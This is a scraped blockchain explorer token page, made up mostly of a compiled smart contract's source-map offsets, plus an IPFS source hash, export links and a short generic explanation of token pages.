;;;:::i;:::-;-1:-1:-1;3593:9:0;3605:5;3609:1;3605;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2739:388::-;2807:6;2815;2868:2;2856:9;2847:7;2843:23;2839:32;2836:52;;;2884:1;2881;2874:12;2836:52;2923:9;2910:23;2942:31;2967:5;2942:31;:::i;:::-;2992:5;-1:-1:-1;3049:2:1;3034:18;;3021:32;3062:33;3021:32;3062:33;:::i;:::-;3114:7;3104:17;;;2739:388;;;;;:::o;3132:380::-;3211:1;3207:12;;;;3254;;;3275:61;;3329:4;3321:6;3317:17;3307:27;;3275:61;3382:2;3374:6;3371:14;3351:18;3348:38;3345:161;;3428:10;3423:3;3419:20;3416:1;3409:31;3463:4;3460:1;3453:15;3491:4;3488:1;3481:15;3345:161;;3132:380;;;:::o;3517:356::-;3719:2;3701:21;;;3738:18;;;3731:30;3797:34;3792:2;3777:18;;3770:62;3864:2;3849:18;;3517:356::o;4227:251::-;4297:6;4350:2;4338:9;4329:7;4325:23;4321:32;4318:52;;;4366:1;4363;4356:12;4318:52;4398:9;4392:16;4417:31;4442:5;4417:31;:::i;5404:306::-;5492:6;5500;5508;5561:2;5549:9;5540:7;5536:23;5532:32;5529:52;;;5577:1;5574;5567:12;5529:52;5606:9;5600:16;5590:26;;5656:2;5645:9;5641:18;5635:25;5625:35;;5700:2;5689:9;5685:18;5679:25;5669:35;;5404:306;;;;;:::o;8857:127::-;8918:10;8913:3;8909:20;8906:1;8899:31;8949:4;8946:1;8939:15;8973:4;8970:1;8963:15;8989:128;9056:9;;;9077:11;;;9074:37;;;9091:18;;:::i;9122:125::-;9187:9;;;9208:10;;;9205:36;;;9221:18;;:::i;9740:127::-;9801:10;9796:3;9792:20;9789:1;9782:31;9832:4;9829:1;9822:15;9856:4;9853:1;9846:15;9872:461;9925:3;9963:5;9957:12;9990:6;9985:3;9978:19;10016:4;10045:2;10040:3;10036:12;10029:19;;10082:2;10075:5;10071:14;10103:1;10113:195;10127:6;10124:1;10121:13;10113:195;;;10192:13;;-1:-1:-1;;;;;10188:39:1;10176:52;;10248:12;;;;10283:15;;;;10224:1;10142:9;10113:195;;;-1:-1:-1;10324:3:1;;9872:461;-1:-1:-1;;;;;9872:461:1:o;10338:582::-;10637:6;10626:9;10619:25;10680:6;10675:2;10664:9;10660:18;10653:34;10723:3;10718:2;10707:9;10703:18;10696:31;10600:4;10744:57;10796:3;10785:9;10781:19;10773:6;10744:57;:::i;:::-;-1:-1:-1;;;;;10837:32:1;;;;10832:2;10817:18;;10810:60;-1:-1:-1;10901:3:1;10886:19;10879:35;10736:65;10338:582;-1:-1:-1;;;10338:582:1:o;10925:332::-;11132:6;11121:9;11114:25;11175:2;11170;11159:9;11155:18;11148:30;11095:4;11195:56;11247:2;11236:9;11232:18;11224:6;11195:56;:::i;:::-;11187:64;10925:332;-1:-1:-1;;;;10925:332:1:o;11262:168::-;11335:9;;;11366;;11383:15;;;11377:22;;11363:37;11353:71;;11404:18;;:::i;11435:217::-;11475:1;11501;11491:132;;11545:10;11540:3;11536:20;11533:1;11526:31;11580:4;11577:1;11570:15;11608:4;11605:1;11598:15;11491:132;-1:-1:-1;11637:9:1;;11435:217::o

Swarm Source

ipfs://d5adfd30c0820c9050b9349b6e2edad557bb91bca65d068796d9ad77b33acb8f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.